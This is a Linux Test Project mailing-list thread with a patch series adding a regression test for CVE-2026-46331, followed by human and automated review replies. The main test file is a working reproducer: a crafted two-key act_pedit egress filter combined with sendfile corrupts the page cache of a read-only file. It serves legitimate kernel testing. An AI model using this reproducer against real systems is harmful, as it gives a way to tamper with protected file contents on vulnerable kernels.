Linux Test Project
 help / color / mirror / Atom feed
* [LTP] [PATCH v3 0/4] Reproducer for cve-2026-46331
@ 2026-07-07 13:42 Andrea Cervesato
  2026-07-07 13:42 ` [LTP] [PATCH v3 1/4] lapi: Add pkt_cls.h fallback Andrea Cervesato
                   ` (3 more replies)
  0 siblings, 4 replies; 12+ messages in thread
From: Andrea Cervesato @ 2026-07-07 13:42 UTC (permalink / raw)
  To: Linux Test Project

tst_kconfig.c:90: TINFO: Parsing kernel config '/lib/modules/7.1.0-rc5-virtme/build/.config'
tst_tmpdir.c:308: TINFO: Using /tmp/LTP_cveTzmFu2 as tmpdir (overlayfs filesystem)
tst_test.c:2047: TINFO: LTP version: 20260529-80-g0b891ea23
tst_test.c:2050: TINFO: Tested kernel: 7.1.0-rc5-virtme #9 SMP PREEMPT_DYNAMIC Mon Jul  6 14:50:05 CEST 2026 x86_64
tst_kconfig.c:90: TINFO: Parsing kernel config '/lib/modules/7.1.0-rc5-virtme/build/.config'
tst_test.c:1875: TINFO: Overall timeout per run is 0h 00m 30s
cve-2026-46331.c:221: TFAIL: Page cache corrupted via act_pedit partial COW bypass

HINT: You _MAY_ be missing kernel fixes:

https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=899ee91156e5

HINT: You _MAY_ be vulnerable to CVE(s):

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46331

Summary:
passed   0
failed   1
broken   0
skipped  0
warnings 0

Signed-off-by: Andrea Cervesato <andrea.cervesato@suse.com>
---
Changes in v3:
- fix build failure in opensuse 42.2
- Link to v2: https://lore.kernel.org/20260706-cve-2026-46331-v2-0-d5e47a113a84@suse.com

Changes in v2:
- remove sleep()
- Link to v1: https://lore.kernel.org/20260706-cve-2026-46331-v1-0-c55d45f022d1@suse.com

---
Andrea Cervesato (4):
      lapi: Add pkt_cls.h fallback
      lapi: Add pkt_sched.h fallback
      lapi: Add tc_pedit.h fallback
      cve: Add act_pedit page-cache corruption test

 configure.ac                   |   2 +
 include/lapi/pkt_cls.h         |  19 +++
 include/lapi/pkt_sched.h       |  19 +++
 include/lapi/tc_pedit.h        |  52 ++++++++
 runtest/cve                    |   1 +
 testcases/cve/.gitignore       |   1 +
 testcases/cve/cve-2026-46331.c | 272 +++++++++++++++++++++++++++++++++++++++++
 7 files changed, 366 insertions(+)
---
base-commit: 0b891ea23ed7315afa12df92fe12f1218a420bde
change-id: 20260706-cve-2026-46331-434f99cf2c61

Best regards,
-- 
Andrea Cervesato <andrea.cervesato@suse.com>


-- 
Mailing list info: https://lists.linux.it/listinfo/ltp

^ permalink raw reply	[flat|nested] 12+ messages in thread

* [LTP] [PATCH v3 1/4] lapi: Add pkt_cls.h fallback
  2026-07-07 13:42 [LTP] [PATCH v3 0/4] Reproducer for cve-2026-46331 Andrea Cervesato
@ 2026-07-07 13:42 ` Andrea Cervesato
  2026-07-07 14:28   ` [LTP] " linuxtestproject.agent
  2026-07-08 11:48   ` [LTP] [PATCH v3 1/4] " Petr Vorel
  2026-07-07 13:42 ` [LTP] [PATCH v3 2/4] lapi: Add pkt_sched.h fallback Andrea Cervesato
                   ` (2 subsequent siblings)
  3 siblings, 2 replies; 12+ messages in thread
From: Andrea Cervesato @ 2026-07-07 13:42 UTC (permalink / raw)
  To: Linux Test Project

From: Andrea Cervesato <andrea.cervesato@suse.com>

Signed-off-by: Andrea Cervesato <andrea.cervesato@suse.com>
---
 include/lapi/pkt_cls.h | 19 +++++++++++++++++++
 1 file changed, 19 insertions(+)

diff --git a/include/lapi/pkt_cls.h b/include/lapi/pkt_cls.h
new file mode 100644
index 0000000000000000000000000000000000000000..b7a6278f07e6fcedcb7c412e833cb01170f24f74
--- /dev/null
+++ b/include/lapi/pkt_cls.h
@@ -0,0 +1,19 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
+/*
+ * Copyright (c) 2026 SUSE LLC Andrea Cervesato <andrea.cervesato@suse.com>
+ */
+
+#ifndef LAPI_PKT_CLS_H__
+#define LAPI_PKT_CLS_H__
+
+#include <linux/pkt_cls.h>
+
+#ifndef TC_ACT_PIPE
+# define TC_ACT_PIPE	3
+#endif
+
+#ifndef TCA_MATCHALL_ACT
+# define TCA_MATCHALL_ACT	2
+#endif
+
+#endif /* LAPI_PKT_CLS_H__ */

-- 
2.51.0


-- 
Mailing list info: https://lists.linux.it/listinfo/ltp

^ permalink raw reply related	[flat|nested] 12+ messages in thread

* [LTP] [PATCH v3 2/4] lapi: Add pkt_sched.h fallback
  2026-07-07 13:42 [LTP] [PATCH v3 0/4] Reproducer for cve-2026-46331 Andrea Cervesato
  2026-07-07 13:42 ` [LTP] [PATCH v3 1/4] lapi: Add pkt_cls.h fallback Andrea Cervesato
@ 2026-07-07 13:42 ` Andrea Cervesato
  2026-07-08 13:31   ` Petr Vorel
  2026-07-07 13:42 ` [LTP] [PATCH v3 3/4] lapi: Add tc_pedit.h fallback Andrea Cervesato
  2026-07-07 13:42 ` [LTP] [PATCH v3 4/4] cve: Add act_pedit page-cache corruption test Andrea Cervesato
  3 siblings, 1 reply; 12+ messages in thread
From: Andrea Cervesato @ 2026-07-07 13:42 UTC (permalink / raw)
  To: Linux Test Project

From: Andrea Cervesato <andrea.cervesato@suse.com>

Signed-off-by: Andrea Cervesato <andrea.cervesato@suse.com>
---
 include/lapi/pkt_sched.h | 19 +++++++++++++++++++
 1 file changed, 19 insertions(+)

diff --git a/include/lapi/pkt_sched.h b/include/lapi/pkt_sched.h
new file mode 100644
index 0000000000000000000000000000000000000000..4d7b2860df4a478214385f248995361f6f1cf282
--- /dev/null
+++ b/include/lapi/pkt_sched.h
@@ -0,0 +1,19 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
+/*
+ * Copyright (c) 2026 SUSE LLC Andrea Cervesato <andrea.cervesato@suse.com>
+ */
+
+#ifndef LAPI_PKT_SCHED_H__
+#define LAPI_PKT_SCHED_H__
+
+#include <linux/pkt_sched.h>
+
+#ifndef TC_H_CLSACT
+# define TC_H_CLSACT	TC_H_INGRESS
+#endif
+
+#ifndef TC_H_MIN_EGRESS
+# define TC_H_MIN_EGRESS	0xFFF3U
+#endif
+
+#endif /* LAPI_PKT_SCHED_H__ */

-- 
2.51.0


-- 
Mailing list info: https://lists.linux.it/listinfo/ltp

^ permalink raw reply related	[flat|nested] 12+ messages in thread

* [LTP] [PATCH v3 3/4] lapi: Add tc_pedit.h fallback
  2026-07-07 13:42 [LTP] [PATCH v3 0/4] Reproducer for cve-2026-46331 Andrea Cervesato
  2026-07-07 13:42 ` [LTP] [PATCH v3 1/4] lapi: Add pkt_cls.h fallback Andrea Cervesato
  2026-07-07 13:42 ` [LTP] [PATCH v3 2/4] lapi: Add pkt_sched.h fallback Andrea Cervesato
@ 2026-07-07 13:42 ` Andrea Cervesato
  2026-07-07 13:42 ` [LTP] [PATCH v3 4/4] cve: Add act_pedit page-cache corruption test Andrea Cervesato
  3 siblings, 0 replies; 12+ messages in thread
From: Andrea Cervesato @ 2026-07-07 13:42 UTC (permalink / raw)
  To: Linux Test Project

From: Andrea Cervesato <andrea.cervesato@suse.com>

Signed-off-by: Andrea Cervesato <andrea.cervesato@suse.com>
---
 configure.ac            |  2 ++
 include/lapi/tc_pedit.h | 52 +++++++++++++++++++++++++++++++++++++++++++++++++
 2 files changed, 54 insertions(+)

diff --git a/configure.ac b/configure.ac
index 3a1283ac3a30d85ca731ca54a281ed0c1d4bc06e..428a0096c5bab983dd78002980ab1c861e222e94 100644
--- a/configure.ac
+++ b/configure.ac
@@ -190,6 +190,8 @@ AC_CHECK_MEMBERS([struct utsname.domainname],,,[
 ])
 
 AC_CHECK_TYPES([enum kcmp_type],,,[#include <linux/kcmp.h>])
+AC_CHECK_TYPES([enum pedit_header_type],,,[#include <linux/tc_act/tc_pedit.h>])
+AC_CHECK_TYPES([enum pedit_cmd],,,[#include <linux/tc_act/tc_pedit.h>])
 AC_CHECK_TYPES([struct acct_v3],,,[#include <sys/acct.h>])
 AC_CHECK_TYPES([struct af_alg_iv, struct sockaddr_alg],,,[# include <linux/if_alg.h>])
 AC_CHECK_TYPES([struct clone_args],,,[#include <sched.h>])
diff --git a/include/lapi/tc_pedit.h b/include/lapi/tc_pedit.h
new file mode 100644
index 0000000000000000000000000000000000000000..811ce0cab49357e662c35fff49e8a08346ed82f4
--- /dev/null
+++ b/include/lapi/tc_pedit.h
@@ -0,0 +1,52 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
+/*
+ * Copyright (c) 2026 SUSE LLC <andrea.cervesato@suse.com>
+ */
+
+#ifndef LAPI_TC_PEDIT_H__
+#define LAPI_TC_PEDIT_H__
+
+#include "config.h"
+#include <linux/tc_act/tc_pedit.h>
+
+#ifndef TCA_PEDIT_PARMS_EX
+# define TCA_PEDIT_PARMS_EX		4
+#endif
+
+#ifndef TCA_PEDIT_KEYS_EX
+# define TCA_PEDIT_KEYS_EX		5
+#endif
+
+#ifndef TCA_PEDIT_KEY_EX
+# define TCA_PEDIT_KEY_EX		3
+#endif
+
+#ifndef TCA_PEDIT_KEY_EX_HTYPE
+# define TCA_PEDIT_KEY_EX_HTYPE		1
+#endif
+
+#ifndef TCA_PEDIT_KEY_EX_CMD
+# define TCA_PEDIT_KEY_EX_CMD		2
+#endif
+
+#ifndef HAVE_ENUM_PEDIT_HEADER_TYPE
+enum pedit_header_type {
+	TCA_PEDIT_KEY_EX_HDR_TYPE_NETWORK = 0,
+	TCA_PEDIT_KEY_EX_HDR_TYPE_ETH,
+	TCA_PEDIT_KEY_EX_HDR_TYPE_IP4,
+	TCA_PEDIT_KEY_EX_HDR_TYPE_IP6,
+	TCA_PEDIT_KEY_EX_HDR_TYPE_TCP,
+	TCA_PEDIT_KEY_EX_HDR_TYPE_UDP,
+	__PEDIT_HDR_TYPE_MAX,
+};
+#endif
+
+#ifndef HAVE_ENUM_PEDIT_CMD
+enum pedit_cmd {
+	TCA_PEDIT_KEY_EX_CMD_SET = 0,
+	TCA_PEDIT_KEY_EX_CMD_ADD,
+	__PEDIT_CMD_MAX,
+};
+#endif
+
+#endif /* LAPI_TC_PEDIT_H__ */

-- 
2.51.0


-- 
Mailing list info: https://lists.linux.it/listinfo/ltp

^ permalink raw reply related	[flat|nested] 12+ messages in thread

* [LTP] [PATCH v3 4/4] cve: Add act_pedit page-cache corruption test
  2026-07-07 13:42 [LTP] [PATCH v3 0/4] Reproducer for cve-2026-46331 Andrea Cervesato
                   ` (2 preceding siblings ...)
  2026-07-07 13:42 ` [LTP] [PATCH v3 3/4] lapi: Add tc_pedit.h fallback Andrea Cervesato
@ 2026-07-07 13:42 ` Andrea Cervesato
  2026-07-07 14:23   ` Cyril Hrubis
  3 siblings, 1 reply; 12+ messages in thread
From: Andrea Cervesato @ 2026-07-07 13:42 UTC (permalink / raw)
  To: Linux Test Project

From: Andrea Cervesato <andrea.cervesato@suse.com>

Regression test for CVE-2026-46331. The act_pedit
action computed a stale COW range, letting a TCP-typed
key write past it into page-cache pages placed in the
skb by sendfile.

Signed-off-by: Andrea Cervesato <andrea.cervesato@suse.com>
---
 runtest/cve                    |   1 +
 testcases/cve/.gitignore       |   1 +
 testcases/cve/cve-2026-46331.c | 272 +++++++++++++++++++++++++++++++++++++++++
 3 files changed, 274 insertions(+)

diff --git a/runtest/cve b/runtest/cve
index cc664bb9302daff9d6c1ce7c79041a8fd4ced840..f51d85552087ea1459e39229cdc22b1031008ea3 100644
--- a/runtest/cve
+++ b/runtest/cve
@@ -98,3 +98,4 @@ cve-2026-43284 xfrm01
 cve-2026-43494 io_uring04
 cve-2026-46300 xfrm02
 cve-2026-46300-skb-segment xfrm03
+cve-2026-46331 cve-2026-46331
diff --git a/testcases/cve/.gitignore b/testcases/cve/.gitignore
index dc1dad5b0d0d02a3ab57e72516c33ee7949c8431..bc1af0dd2c8086e4f5f78a3b15b91fafbd8f5936 100644
--- a/testcases/cve/.gitignore
+++ b/testcases/cve/.gitignore
@@ -15,3 +15,4 @@ icmp_rate_limit01
 tcindex01
 cve-2025-38236
 cve-2025-21756
+cve-2026-46331
diff --git a/testcases/cve/cve-2026-46331.c b/testcases/cve/cve-2026-46331.c
new file mode 100644
index 0000000000000000000000000000000000000000..9207e99a0df4aac6daa8cdcd7a6dd04418020524
--- /dev/null
+++ b/testcases/cve/cve-2026-46331.c
@@ -0,0 +1,272 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
+/*
+ * Copyright (C) 2026 SUSE LLC Andrea Cervesato <andrea.cervesato@suse.com>
+ */
+
+/*\
+ * Verify that the ``act_pedit`` traffic-control action correctly COW's
+ * all modified regions of an skb before writing, so that page-cache
+ * pages referenced via :manpage:`sendfile(2)` are not corrupted.
+ *
+ * ``tcf_pedit_act()`` computed the COW range for
+ * ``skb_ensure_writable()`` once before the key loop using
+ * ``tcfp_off_max_hint``, but the hint did not account for the runtime
+ * header offset added by typed keys. An egress pedit rule whose first
+ * ``NETWORK`` key inflates the IP header length (IHL 15) pushes
+ * subsequent ``TCP``-typed key writes past the stale COW boundary,
+ * allowing them to scribble directly into page-cache pages that
+ * :manpage:`sendfile(2)` placed in the skb.
+ *
+ * [Algorithm]
+ *
+ * - Create a 4 KiB file with a sequential byte pattern and set its
+ *   permissions to read-only (0444)
+ * - Reopen the file ``O_RDONLY``
+ * - Add a ``clsact`` qdisc on ``lo`` and establish a TCP connection
+ *   on loopback
+ * - After the handshake, install a ``matchall`` egress filter carrying
+ *   a two-key pedit action: key 0 sets IP IHL to 15 (NETWORK type),
+ *   key 1 writes a 4-byte marker at TCP-relative offset 512
+ * - :manpage:`sendfile(2)` the file through the TCP socket so the
+ *   pedit action fires on the page-cache-backed skb
+ * - Reread the file through the same ``O_RDONLY`` descriptor and
+ *   compare with the original pattern; any difference means the
+ *   page cache was corrupted
+ */
+
+#include <sys/sendfile.h>
+#include <linux/rtnetlink.h>
+
+#include "tst_test.h"
+#include "tst_net.h"
+#include "tst_netdevice.h"
+#include "lapi/if_ether.h"
+#include "lapi/pkt_sched.h"
+#include "lapi/pkt_cls.h"
+#include "lapi/tc_pedit.h"
+#include "lapi/sched.h"
+#include "lapi/tcp.h"
+
+#define TESTFILE	"pagecache_test"
+#define DATA_SIZE	4096
+#define PORT		4445
+
+#define NKEYS		2
+#define IHL_VALUE	0x4fu		/* IP version 4, IHL 15 (max) */
+#define IHL_MASK	0xffffff00u	/* keep TOS / tot_len bytes */
+#define MARKER_OFFSET	512		/* TCP-relative key offset */
+#define MARKER_VALUE	0xccccccccu	/* 4-byte marker written by pedit */
+
+/*
+ * Pedit selector buffer: struct tc_pedit_sel followed by NKEYS keys.
+ * sizeof(struct tc_pedit_sel) does not include the flexible array, so
+ * the trailing keys[] array provides storage for it.
+ */
+static struct {
+	struct tc_pedit_sel sel;
+	struct tc_pedit_key keys[NKEYS];
+} pedit_sel_buf;
+
+/* --- Nested attribute lists for the matchall + pedit filter config --- */
+
+static uint16_t key0_htype = TCA_PEDIT_KEY_EX_HDR_TYPE_NETWORK;
+static uint16_t key0_cmd   = TCA_PEDIT_KEY_EX_CMD_SET;
+static uint16_t key1_htype = TCA_PEDIT_KEY_EX_HDR_TYPE_TCP;
+static uint16_t key1_cmd   = TCA_PEDIT_KEY_EX_CMD_SET;
+
+static const struct tst_netlink_attr_list key0_ex[] = {
+	{TCA_PEDIT_KEY_EX_HTYPE, &key0_htype, sizeof(key0_htype), NULL},
+	{TCA_PEDIT_KEY_EX_CMD,   &key0_cmd,   sizeof(key0_cmd),   NULL},
+	{0, NULL, -1, NULL}
+};
+
+static const struct tst_netlink_attr_list key1_ex[] = {
+	{TCA_PEDIT_KEY_EX_HTYPE, &key1_htype, sizeof(key1_htype), NULL},
+	{TCA_PEDIT_KEY_EX_CMD,   &key1_cmd,   sizeof(key1_cmd),   NULL},
+	{0, NULL, -1, NULL}
+};
+
+static const struct tst_netlink_attr_list keys_ex[] = {
+	{TCA_PEDIT_KEY_EX, NULL, 0, key0_ex},
+	{TCA_PEDIT_KEY_EX, NULL, 0, key1_ex},
+	{0, NULL, -1, NULL}
+};
+
+static const struct tst_netlink_attr_list pedit_opts[] = {
+	{TCA_PEDIT_PARMS_EX, &pedit_sel_buf, sizeof(pedit_sel_buf), NULL},
+	{TCA_PEDIT_KEYS_EX,  NULL, 0, keys_ex},
+	{0, NULL, -1, NULL}
+};
+
+static const struct tst_netlink_attr_list action_entry[] = {
+	{TCA_ACT_KIND,    "pedit", sizeof("pedit"), NULL},
+	{TCA_ACT_OPTIONS, NULL, 0, pedit_opts},
+	{0, NULL, -1, NULL}
+};
+
+static const struct tst_netlink_attr_list action_list[] = {
+	{1, NULL, 0, action_entry},
+	{0, NULL, -1, NULL}
+};
+
+static const struct tst_netlink_attr_list matchall_opts[] = {
+	{TCA_MATCHALL_ACT, NULL, 0, action_list},
+	{0, NULL, -1, NULL}
+};
+
+static const struct tst_netlink_attr_list filter_config[] = {
+	{TCA_OPTIONS, NULL, 0, matchall_opts},
+	{0, NULL, -1, NULL}
+};
+
+static uint8_t original[DATA_SIZE];
+static int file_fd = -1;
+static int listen_fd = -1;
+static int cli_fd = -1;
+static int acc_fd = -1;
+
+static void setup(void)
+{
+	struct sockaddr_in addr;
+	int i;
+
+	tst_setup_netns();
+	NETDEV_SET_STATE("lo", 1);
+
+	listen_fd = SAFE_SOCKET(AF_INET, SOCK_STREAM, 0);
+	SAFE_SETSOCKOPT_INT(listen_fd, SOL_SOCKET, SO_REUSEADDR, 1);
+
+	memset(&addr, 0, sizeof(addr));
+	addr.sin_family = AF_INET;
+	addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
+	addr.sin_port = htons(PORT);
+
+	SAFE_BIND(listen_fd, (struct sockaddr *)&addr, sizeof(addr));
+	SAFE_LISTEN(listen_fd, 1);
+
+	for (i = 0; i < DATA_SIZE; i++)
+		original[i] = (uint8_t)(i & 0xff);
+
+	memset(&pedit_sel_buf, 0, sizeof(pedit_sel_buf));
+	pedit_sel_buf.sel.nkeys = NKEYS;
+	pedit_sel_buf.sel.action = TC_ACT_PIPE;
+
+	/* Key 0: inflate IP IHL to 15 (push TCP header offset to 60) */
+	pedit_sel_buf.keys[0].off  = 0;
+	pedit_sel_buf.keys[0].val  = IHL_VALUE;
+	pedit_sel_buf.keys[0].mask = IHL_MASK;
+
+	/* Key 1: write marker via TCP-typed offset (past stale COW) */
+	pedit_sel_buf.keys[1].off  = MARKER_OFFSET;
+	pedit_sel_buf.keys[1].val  = MARKER_VALUE;
+	pedit_sel_buf.keys[1].mask = 0;
+}
+
+static void run(void)
+{
+	struct sockaddr_in addr;
+	uint8_t readback[DATA_SIZE];
+	off_t off = 0;
+	int wr_fd;
+
+	wr_fd = SAFE_OPEN(TESTFILE, O_WRONLY | O_CREAT, 0444);
+	SAFE_WRITE(SAFE_WRITE_ALL, wr_fd, original, DATA_SIZE);
+	SAFE_CLOSE(wr_fd);
+
+	file_fd = SAFE_OPEN(TESTFILE, O_RDONLY);
+
+	/*
+	 * Clean-slate clsact qdisc so no filter is active during the
+	 * TCP handshake (the IHL-inflating key would corrupt SYN/ACK).
+	 */
+	tst_netdev_remove_qdisc(__FILE__, __LINE__, 0,
+				"lo", AF_UNSPEC, TC_H_CLSACT,
+				TC_H_MAKE(TC_H_CLSACT, 0), "clsact");
+	NETDEV_ADD_QDISC("lo", AF_UNSPEC, TC_H_CLSACT,
+			 TC_H_MAKE(TC_H_CLSACT, 0), "clsact", NULL);
+
+	memset(&addr, 0, sizeof(addr));
+	addr.sin_family = AF_INET;
+	addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
+	addr.sin_port = htons(PORT);
+
+	cli_fd = SAFE_SOCKET(AF_INET, SOCK_STREAM, 0);
+	SAFE_CONNECT(cli_fd, (struct sockaddr *)&addr, sizeof(addr));
+	acc_fd = SAFE_ACCEPT(listen_fd, NULL, NULL);
+
+	/* Arm the pedit filter AFTER the handshake completes */
+	NETDEV_ADD_TRAFFIC_FILTER("lo",
+				  TC_H_MAKE(TC_H_CLSACT, TC_H_MIN_EGRESS),
+				  0, ETH_P_ALL, 1, "matchall",
+				  filter_config);
+
+	SAFE_SETSOCKOPT_INT(cli_fd, IPPROTO_TCP, TCP_NODELAY, 1);
+
+	/*
+	 * sendfile places page-cache pages in the skb. With
+	 * TCP_NODELAY the 4 KiB payload fits a single segment whose
+	 * egress path -- including the pedit action -- completes
+	 * synchronously inside dev_queue_xmit on loopback.
+	 */
+	if (sendfile(cli_fd, file_fd, &off, DATA_SIZE) < 0)
+		tst_brk(TBROK | TERRNO, "sendfile() failed");
+
+	SAFE_CLOSE(cli_fd);
+	SAFE_CLOSE(acc_fd);
+
+	/*
+	 * Read back through the same O_RDONLY fd that sendfile used.
+	 * sendfile with a non-NULL offset does not change the fd's
+	 * file position, so it is still at 0. Keeping the same fd
+	 * guarantees we hit the same page-cache pages.
+	 */
+	SAFE_READ(1, file_fd, readback, sizeof(readback));
+	SAFE_CLOSE(file_fd);
+
+	if (memcmp(readback, original, DATA_SIZE) != 0)
+		tst_res(TFAIL,
+			"Page cache corrupted via act_pedit partial COW bypass");
+	else
+		tst_res(TPASS, "Page cache was not corrupted");
+
+	SAFE_UNLINK(TESTFILE);
+}
+
+static void cleanup(void)
+{
+	if (cli_fd != -1)
+		SAFE_CLOSE(cli_fd);
+
+	if (acc_fd != -1)
+		SAFE_CLOSE(acc_fd);
+
+	if (file_fd != -1)
+		SAFE_CLOSE(file_fd);
+
+	if (listen_fd != -1)
+		SAFE_CLOSE(listen_fd);
+}
+
+static struct tst_test test = {
+	.test_all = run,
+	.setup = setup,
+	.cleanup = cleanup,
+	.needs_tmpdir = 1,
+	.needs_kconfigs = (const char *[]) {
+		"CONFIG_USER_NS=y",
+		"CONFIG_NET_NS=y",
+		"CONFIG_NET_SCH_INGRESS",
+		"CONFIG_NET_CLS_MATCHALL",
+		"CONFIG_NET_ACT_PEDIT",
+		NULL
+	},
+	.save_restore = (const struct tst_path_val[]) {
+		{PATH_USER_MAX_USER_NAMESPACES, "1024", TST_SR_SKIP},
+		{}
+	},
+	.tags = (const struct tst_tag[]) {
+		{"linux-git", "899ee91156e5"},
+		{"CVE", "2026-46331"},
+		{}
+	},
+};

-- 
2.51.0


-- 
Mailing list info: https://lists.linux.it/listinfo/ltp

^ permalink raw reply related	[flat|nested] 12+ messages in thread

* Re: [LTP] [PATCH v3 4/4] cve: Add act_pedit page-cache corruption test
  2026-07-07 13:42 ` [LTP] [PATCH v3 4/4] cve: Add act_pedit page-cache corruption test Andrea Cervesato
@ 2026-07-07 14:23   ` Cyril Hrubis
  2026-07-08 11:41     ` Petr Vorel
  0 siblings, 1 reply; 12+ messages in thread
From: Cyril Hrubis @ 2026-07-07 14:23 UTC (permalink / raw)
  To: Andrea Cervesato; +Cc: Linux Test Project

Hi!
> +static void run(void)
> +{
> +	struct sockaddr_in addr;
> +	uint8_t readback[DATA_SIZE];
> +	off_t off = 0;
> +	int wr_fd;
> +
> +	wr_fd = SAFE_OPEN(TESTFILE, O_WRONLY | O_CREAT, 0444);
> +	SAFE_WRITE(SAFE_WRITE_ALL, wr_fd, original, DATA_SIZE);
> +	SAFE_CLOSE(wr_fd);
> +
> +	file_fd = SAFE_OPEN(TESTFILE, O_RDONLY);
> +
> +	/*
> +	 * Clean-slate clsact qdisc so no filter is active during the
> +	 * TCP handshake (the IHL-inflating key would corrupt SYN/ACK).
> +	 */
> +	tst_netdev_remove_qdisc(__FILE__, __LINE__, 0,
> +				"lo", AF_UNSPEC, TC_H_CLSACT,
> +				TC_H_MAKE(TC_H_CLSACT, 0), "clsact");

This is a bit ugly. I guess that we need to add a variant for the macro
that would set the strict to 0 into tst_netdevice.h possibly NETDEV_MAY_REMOVE_QDISC().


For the rest (including the preparatory patches):

Reviewed-by: Cyril Hrubis <chrubis@suse.cz>

-- 
Cyril Hrubis
chrubis@suse.cz

-- 
Mailing list info: https://lists.linux.it/listinfo/ltp

^ permalink raw reply	[flat|nested] 12+ messages in thread

* Re: [LTP] lapi: Add pkt_cls.h fallback
  2026-07-07 13:42 ` [LTP] [PATCH v3 1/4] lapi: Add pkt_cls.h fallback Andrea Cervesato
@ 2026-07-07 14:28   ` linuxtestproject.agent
  2026-07-07 14:53     ` Cyril Hrubis
  2026-07-08 11:48   ` [LTP] [PATCH v3 1/4] " Petr Vorel
  1 sibling, 1 reply; 12+ messages in thread
From: linuxtestproject.agent @ 2026-07-07 14:28 UTC (permalink / raw)
  To: Andrea Cervesato; +Cc: ltp

Hi Andrea,

On Tue, 7 Jul 2026 15:42:27 +0200, Andrea Cervesato wrote:
> lapi: Add pkt_cls.h fallback

--- [PATCH 3/4] ---

> +#ifndef TCA_PEDIT_KEY_EX
> +# define TCA_PEDIT_KEY_EX		3
> +#endif

The value is wrong. Counting from TCA_PEDIT_UNSPEC = 0 in the kernel
anonymous enum:

  TCA_PEDIT_UNSPEC  = 0
  TCA_PEDIT_TM      = 1
  TCA_PEDIT_PARMS   = 2
  TCA_PEDIT_PAD     = 3   <-- 3 is PAD, not KEY_EX
  TCA_PEDIT_PARMS_EX = 4
  TCA_PEDIT_KEYS_EX  = 5
  TCA_PEDIT_KEY_EX   = 6  <-- should be 6

With value 3 the kernel would receive a TCA_PEDIT_PAD attribute where
TCA_PEDIT_KEY_EX is expected and reject the filter with "Unknown
attribute, expected extended key".

This also breaks the test in patch 4/4 which uses TCA_PEDIT_KEY_EX
as a netlink attribute type.

> +#ifndef TCA_PEDIT_PARMS_EX
> +# define TCA_PEDIT_PARMS_EX		4
> +#endif
> +
> +#ifndef TCA_PEDIT_KEYS_EX
> +# define TCA_PEDIT_KEYS_EX		5
> +#endif
> +
> +#ifndef TCA_PEDIT_KEY_EX
> +# define TCA_PEDIT_KEY_EX		3
> +#endif
> +
> +#ifndef TCA_PEDIT_KEY_EX_HTYPE
> +# define TCA_PEDIT_KEY_EX_HTYPE		1
> +#endif
> +
> +#ifndef TCA_PEDIT_KEY_EX_CMD
> +# define TCA_PEDIT_KEY_EX_CMD		2
> +#endif

All five of these are anonymous enum values in the kernel header, not
preprocessor macros. A #ifndef guard tests the preprocessor symbol
table, which does not include enum constants. So every one of these
#define lines executes unconditionally even on systems that already
have the full kernel header -- the enum values are silently shadowed
by the macros.

For the four correctly-valued ones this has no observable impact
today, but the guard gives a false sense of safety. For
TCA_PEDIT_KEY_EX the wrong value makes the situation permanent on
every system.

The correct approach for enum-valued constants is to use
AC_CHECK_DECLS in configure.ac, the same way this patch already uses
AC_CHECK_TYPES for the two enum types:

  AC_CHECK_DECLS([TCA_PEDIT_PARMS_EX, TCA_PEDIT_KEYS_EX,
                  TCA_PEDIT_KEY_EX, TCA_PEDIT_KEY_EX_HTYPE,
                  TCA_PEDIT_KEY_EX_CMD],,,[
  #include <linux/tc_act/tc_pedit.h>])

That generates HAVE_DECL_* macros which can be used as guards around
the fallback defines.

--- [PATCH 4/4] ---

> +cve: Add act_pedit page-cache corruption test

The fix commit 899ee91156e5 does not exist in torvalds/linux, and the
field `tcfp_off_max_hint` mentioned in the commit body is absent from
the kernel source. The fix has not been merged to mainline and is
therefore not in any released kernel, including 7.2.

Per the staging rule, a test for an unreleased fix must:
  - carry a [STAGING] subject prefix, and
  - be listed in runtest/staging, not runtest/cve.

> +	.tags = (const struct tst_tag[]) {
> +		{"linux-git", "899ee91156e5"},

The SHA 899ee91156e5 cannot be resolved in torvalds/linux. Update
this to the correct SHA once the fix is merged.

Verdict - Needs revision

---
Note:

The agent can sometimes produce false positives although often its
findings are genuine. If you find issues with the review, please
comment this email or ignore the suggestions.

Regards,
LTP AI Reviewer

-- 
Mailing list info: https://lists.linux.it/listinfo/ltp

^ permalink raw reply	[flat|nested] 12+ messages in thread

* Re: [LTP] lapi: Add pkt_cls.h fallback
  2026-07-07 14:28   ` [LTP] " linuxtestproject.agent
@ 2026-07-07 14:53     ` Cyril Hrubis
  0 siblings, 0 replies; 12+ messages in thread
From: Cyril Hrubis @ 2026-07-07 14:53 UTC (permalink / raw)
  To: linuxtestproject.agent; +Cc: ltp

Hi!
>   TCA_PEDIT_UNSPEC  = 0
>   TCA_PEDIT_TM      = 1
>   TCA_PEDIT_PARMS   = 2
>   TCA_PEDIT_PAD     = 3   <-- 3 is PAD, not KEY_EX
>   TCA_PEDIT_PARMS_EX = 4
>   TCA_PEDIT_KEYS_EX  = 5
>   TCA_PEDIT_KEY_EX   = 6  <-- should be 6
> 
> With value 3 the kernel would receive a TCA_PEDIT_PAD attribute where
> TCA_PEDIT_KEY_EX is expected and reject the filter with "Unknown
> attribute, expected extended key".
> 
> This also breaks the test in patch 4/4 which uses TCA_PEDIT_KEY_EX
> as a netlink attribute type.
> 
> > +#ifndef TCA_PEDIT_PARMS_EX
> > +# define TCA_PEDIT_PARMS_EX		4
> > +#endif
> > +
> > +#ifndef TCA_PEDIT_KEYS_EX
> > +# define TCA_PEDIT_KEYS_EX		5
> > +#endif
> > +
> > +#ifndef TCA_PEDIT_KEY_EX
> > +# define TCA_PEDIT_KEY_EX		3
> > +#endif
> > +
> > +#ifndef TCA_PEDIT_KEY_EX_HTYPE
> > +# define TCA_PEDIT_KEY_EX_HTYPE		1
> > +#endif
> > +
> > +#ifndef TCA_PEDIT_KEY_EX_CMD
> > +# define TCA_PEDIT_KEY_EX_CMD		2
> > +#endif
> 
> All five of these are anonymous enum values in the kernel header, not
> preprocessor macros. A #ifndef guard tests the preprocessor symbol
> table, which does not include enum constants. So every one of these
> #define lines executes unconditionally even on systems that already
> have the full kernel header -- the enum values are silently shadowed
> by the macros.
> 
> For the four correctly-valued ones this has no observable impact
> today, but the guard gives a false sense of safety. For
